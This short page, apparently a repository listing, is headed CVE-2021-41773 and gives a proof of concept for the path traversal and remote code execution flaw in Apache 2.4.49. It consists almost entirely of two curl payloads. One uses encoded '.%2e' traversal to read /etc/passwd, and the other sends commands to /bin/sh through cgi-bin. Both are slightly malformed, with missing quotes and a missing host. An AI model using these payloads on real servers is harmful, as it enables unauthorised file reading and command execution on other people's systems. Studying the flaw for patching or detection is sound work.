/cve-2021-41773

CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.

cve-2021-41773

CVE-2021-41773 Path Traversal vulnerability in Apache 2.4.49.

RCE POC

PoC

Payload

curl -s --path-as-is ":[PORT]/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
curl -s --path-as-is --data "echo;Command" "[IP]:[PORT]/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh

Follow us